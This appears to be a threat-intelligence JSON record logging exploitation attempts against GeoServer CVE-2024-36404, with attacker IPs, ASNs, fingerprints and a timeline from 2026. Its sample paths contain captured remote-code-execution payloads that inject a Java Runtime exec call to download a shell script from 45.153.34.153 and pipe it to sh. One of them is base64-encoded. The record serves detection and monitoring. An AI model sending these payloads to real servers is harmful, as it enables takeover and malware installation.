{"cve_id":"CVE-2024-36404","title":"GeoServer and GeoTools - Remote Code Execution","severity":"critical","actively_exploited":false,"patterns":["/geoserver/ows","/geoserver/wfs"],"events":37,"unique_ips":3,"actors":[{"ip":"94.154.43.64","events":34,"country_code":"NL","country":"The Netherlands","org":"Storm Industries LLC","rdns":"","scanner_tag":null},{"ip":"101.36.125.58","events":2,"country_code":"HK","country":"Hong Kong","org":"UCLOUD INFORMATION TECHNOLOGY HK LIMITED","rdns":"","scanner_tag":null},{"ip":"141.98.10.12","events":1,"country_code":"LT","country":"Lithuania","org":"UAB Host Baltic","rdns":"srv-141-98-10-12.serveroffer.net","scanner_tag":null}],"top_asns":[{"asn":219502,"org":"Storm Industries LLC","events":34,"ips":1},{"asn":135377,"org":"UCLOUD INFORMATION TECHNOLOGY HK LIMITED","events":2,"ips":1},{"asn":209605,"org":"UAB Host Baltic","events":1,"ips":1}],"fingerprints":{"ja4h":["ge11nn06en_e4773a62bf4c","ge11nn0400_81183b25faae"],"ja4":["t13i250900_b78ed14e2fd0_e7c285222651"]},"sample_paths":["/geoserver/wfs?service=WFS&request=GetCapabilities","/geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),%27bash%20-c%20%7Becho%2CKHdnZXQgLXFPLSBodHRwOi8vNDUuMTUzLjM0LjE1My9yb25kby5gYHp5dC5zaHx8YnVzeWJveCB3Z2V0IC1xTy0gaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2h8fGN1cmwgLXMgaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2gpfHNo%7D%7C%7Bbase64%2C-d%7D%7Csh%27)","/geoserver/ows?service=WFS&request=GetCapabilities","/geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec%28java.lang.Runtime.getRuntime%28%29%2C%27wget%20-qO-%20http%3A%2F%2F45.153.34.153%2Frondo.zyt.sh%7Csh%27%29"],"timeline":[{"day":"2026-05-15","events":2,"ips":1},{"day":"2026-07-09","events":20,"ips":1},{"day":"2026-07-10","events":3,"ips":1},{"day":"2026-07-15","events":3,"ips":1},{"day":"2026-07-18","events":4,"ips":1},{"day":"2026-07-21","events":4,"ips":1},{"day":"2026-07-26","events":1,"ips":1}],"window_hours":2160}